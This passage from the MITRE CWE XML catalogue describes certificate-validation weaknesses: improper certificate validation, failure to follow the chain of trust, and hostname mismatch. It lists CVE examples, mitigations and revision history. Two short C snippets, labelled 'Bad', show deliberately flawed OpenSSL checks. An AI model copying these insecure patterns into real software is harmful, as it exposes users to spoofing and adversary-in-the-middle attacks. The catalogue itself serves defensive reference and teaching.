               <Description>Cloud storage management application does not validate hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5819</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5817</Reference>
               <Description>Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5817</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1378</Reference>
               <Description>chain: incorrect calculation allows attackers to bypass certificate checks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1378</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3170</Reference>
               <Description>LDAP client accepts certificates even if they are not from a trusted CA.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3170</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0265</Reference>
               <Description>chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0265</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1229</Reference>
               <Description>chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1229</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0862</Reference>
               <Description>Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0862</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1358</Reference>
               <Description>chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1358</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="459"/>
            <Related_Attack_Pattern CAPEC_ID="475"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-243"/>
            <Reference External_Reference_ID="REF-244"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Background_Details, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-12-28</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Converted from category to weakness class.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Background_Details, Modes_of_Introduction, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-02-21">Certificate Issues</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="296" Name="Improper Following of a Certificate's Chain of Trust" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.</Description>
         <Extended_Description>
            <xhtml:p>If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.</xhtml:p>
            <xhtml:p>In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.</xhtml:p>
            <xhtml:p>There are several ways in which the chain of trust might be broken, including but not limited to:</xhtml:p>
            <xhtml:ul>
              <xhtml:li>Any certificate in the chain is self-signed, unless it the root.</xhtml:li>
              <xhtml:li>Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.</xhtml:li>
              <xhtml:li>An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.</xhtml:li>
              <xhtml:li>The root certificate has been compromised or authorized to the wrong party.</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="295" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that proper certificate checking is included in the system design.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-121">
               <Intro_Text>This code checks the certificate of a connected peer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if ((cert = SSL_get_peer_certificate(ssl)) &amp;&amp; host)<xhtml:div style="margin-left:1em;">foo=SSL_get_verify_result(ssl);</xhtml:div>
                     <xhtml:br/>if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// certificate looks good, host can be trusted</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2016-2402</Reference>
               <Description>Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2016-2402</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4989</Reference>
               <Description>Verification function trusts certificate chains in which the last certificate is self-signed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4989</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5821</Reference>
               <Description>Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5821</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3046</Reference>
               <Description>Web browser does not check if any intermediate certificates are revoked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3046</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0265</Reference>
               <Description>chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0265</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0124</Reference>
               <Description>chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0124</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0970</Reference>
               <Description>File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0970</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0862</Reference>
               <Description>Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0862</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to follow chain of trust in certificate validation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-245"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Observed_Examples, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Follow Chain of Trust in Certificate Validation</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Improper Following of Chain of Trust for Certificate Validation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="297" Name="Improper Validation of Certificate with Host Mismatch" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.</Description>
         <Extended_Description>
            <xhtml:p>Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the product is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.</xhtml:p>
            <xhtml:p>Even if the product attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.</xhtml:p>
            <xhtml:p>This weakness can occur even when the product uses Certificate Pinning, if the product does not verify the hostname at the time a certificate is pinned.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="295" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The data read from the system vouched for by the certificate may not be from the expected system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Authentication</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>Set up an untrusted endpoint (e.g. a server) with which the product will connect.  Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the product performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955].  This methodology might be extensible to other technologies.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-122">
               <Intro_Text>The following OpenSSL code obtains a certificate and verifies it.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>cert = SSL_get_peer_certificate(ssl);<xhtml:br/>if (cert &amp;&amp; (SSL_get_verify_result(ssl)==X509_V_OK)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// do secret things</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2012-5810</Reference>
               <Description>Mobile banking application does not verify hostname, leading to financial loss.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5810</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5811</Reference>
               <Description>Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5811</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5807</Reference>
               <Description>Software for electronic checking does not verify hostname, leading to financial loss.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5807</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3446</Reference>
               <Description>Cloud-support library written in Python uses incorrect regular expression when matching hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3446</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2408</Reference>
               <Description>Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2408</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0867</Reference>
               <Description>Database program truncates the Common Name during hostname verification, allowing spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0867</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2074</Reference>
               <Description>Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2074</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4565</Reference>
               <Description>Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4565</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3767</Reference>
               <Description>LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3767</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5806</Reference>
               <Description>Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5806</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-2993</Reference>
               <Description>Smartphone device does not verify hostname, allowing spoofing of mail services.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2993</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5804</Reference>
               <Description>E-commerce module does not verify hostname when connecting to payment site.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5804</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5824</Reference>
               <Description>Chat application does not validate hostname, leading to loss of privacy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5824</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5822</Reference>
               <Description>Application uses third-party library that does not validate hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5822</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5819</Reference>
               <Description>Cloud storage management application does not validate hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5819</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5817</Reference>
               <Description>Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5817</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5784</Reference>
               <Description>SOAP platform does not verify the hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5784</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5782</Reference>
               <Description>PHP library for payments does not verify the hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5782</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5780</Reference>
               <Description>Merchant SDK for payments does not verify the hostname.</Description>
